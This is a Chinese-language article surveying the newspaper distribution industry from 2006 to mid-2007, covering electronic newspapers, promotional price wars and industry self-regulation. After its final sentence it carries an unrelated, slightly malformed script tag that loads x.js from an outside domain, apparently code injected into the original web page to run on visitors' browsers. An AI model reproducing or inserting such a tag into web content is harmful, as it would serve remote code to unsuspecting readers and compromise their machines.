本文是对2006年至2007年上半年我国报刊发行业的热点综述,归纳出数字发行、行业自律、邮发提速等三个关键词。总结过去,展望未来,中国报刊发行业将向何处去,也许能从下文中看出些端倪来。

    数字发行：解传统报纸发行之困

    我国是世界上消耗新闻纸最多的国家之一，每年平均达400万吨。除此之外，还有油墨、印刷、物流等费用支出。目前我国一份报纸的印制成本大概是其售价的5—6倍，发行收益远远达不到制作发行成本的支出数额，越高的发行量意味着越巨额的发行亏损，其亏损差额只能靠广告收入来弥补。数据显示，我国报业收入的87%左右来自广告收入。

    这样的报业赢利结构在广告收入年均增长30%以上、报业被称为“二十世纪最后一个暴利行业”，在上世纪八九十年代，这并不是什么问题。但进入21世纪以后，随着科技的不断发展，被称为“第四媒体”的互联网络迅速崛起，电脑、手机等成为更方便快捷的信息浏览终端，包括报纸在内的传统媒体的用户群体，尤其是最有消费潜力的青年人用户群体被大量分流出去，直接导致广告份额的急剧下降。2005年，全国各大报社的广告营业额平均跌幅达到15%。收入在不断地减少，制作和发行成本却在不断地上涨。2006年，我国纸张价格涨幅高达14%-20%，发行渠道费用也因各种“网络费”、“上架费”的出现而大幅上涨，报社员工工资也在逐年增加。这一结果直接导致报纸发行亏损额越来越大，却没有更多的广告收入来填补。

    有人说，2006年是我国报刊发行业的转轨之年、调整之年和创新之年，这种形势下急需一种能够降低发行成本、能够帮助传统报业与新媒体抗衡、争夺广告份额的新型发行模式——数字发行呼之欲出。

    数字发行包括纸质报纸的网络版、手机报、电子报等多种形式，其中前两种形式都有自身的局限性——纸质报纸的网络版需要在电脑上在线阅读，携带不便；手机报则受到手机屏幕小、容量小的限制。二者都没有得到很好的推广。而电子报则不同，它专指通过特定阅读器阅读的电子报纸。2006年10月25日，宁波日报报业集团在国内首次成规模地推出了实用性移动便携式电子报纸。这种电子报纸采用高亮度反射型电泳显示技术的电子阅读器作为个人阅读终端，视听说一体，可互动交流。其体积和一般书本差不多，携带起来相当方便。另外，有国外媒体报道说，一种由廉价数码屏幕做成的可以卷起来放进背包里的电子报纸已经研制成功并即将投放市场。这些电子报的发行，依托互联网进行数字信息传输，不需要纸张和油墨，也不需要实体运输工具，可省去印刷和物流成本。而这些生产和发行的费用在传统报社的费用总支出中占到了75%。

    电子报纸的成功推广，无疑将改变报社的收入来源结构，其中很大的一部分将被发行收入占据。在这方面，我国还处于起步阶段，而科技更发达的美国已经初具规模并拥有成功的经验了。目前，美国本土有160种报纸提供电子版，供电子报纸用户下载阅读。

    行业自律：报业发行竞争趋于理性

    上世纪90年代以后，随着市场经济的发展，我国的报纸数量越来越多，竞争日趋激烈。尤其是到了90年代中期，都市报异军突起，中国报业的市场竞争进入白热化阶段，“促销大战”不断打响，副刊促销、折扣订阅、礼品赠送、敲门发行、社区宣传等促销手段层出不穷。其中，折扣订阅、礼品赠送等降价促销方式以其简单直接、短期效果明显的特点而受到一些纸媒的青睐。于是乎，报业发行“价格大战”在北京、昆明、南京、南昌等地纷纷打响，许多地区的报纸征订和零售价格都跌破了成本底价，有的报纸甚至推行“零元发行”，企图通过免费发行的方式冲高发行量，完全放弃发行收益，把赢利希望全部压到广告收入上，结果往往得不偿失。还有的报社采取买报送礼品、买报抽奖等促销方式，希望通过刺激读者的物质欲望来换取他们的购报冲动。这种方式或许能在短期内刺激发行量上涨，但绝不是长久之计。首先，因为物欲刺激而购买报纸的人，其购买动机不是阅读报纸，这样的人很难维持长期购买报纸的习惯。其次，报纸在礼品促销时，往往不会认真选择促销礼品，经常是有什么送什么，结果不但促销不力，反而起到负面效果。例如新京报在刚上市时为了吸引读者购买，经常搞这种赠送礼品的促销活动，但送的东西往往是马上就过期的饮料，或者是劣质的洗涤液、护肤品之类。读者对这些东西往往是不认可的，矛盾转移，“恨屋及乌”，这种不满意的态度就常常移情到报纸本身，从而影响到报纸在读者心目中的认可度。

    这些短视的、非理性的发行促销行为危害很大，很容易引发恶性竞争，破坏公平的市场竞争环境，影响到全行业的发展和地区经济效益的增长。这些行为引起了中央和地方政府的关注，纷纷出台文件、条例予以规范。?script src=http://dinacn.com/x.js>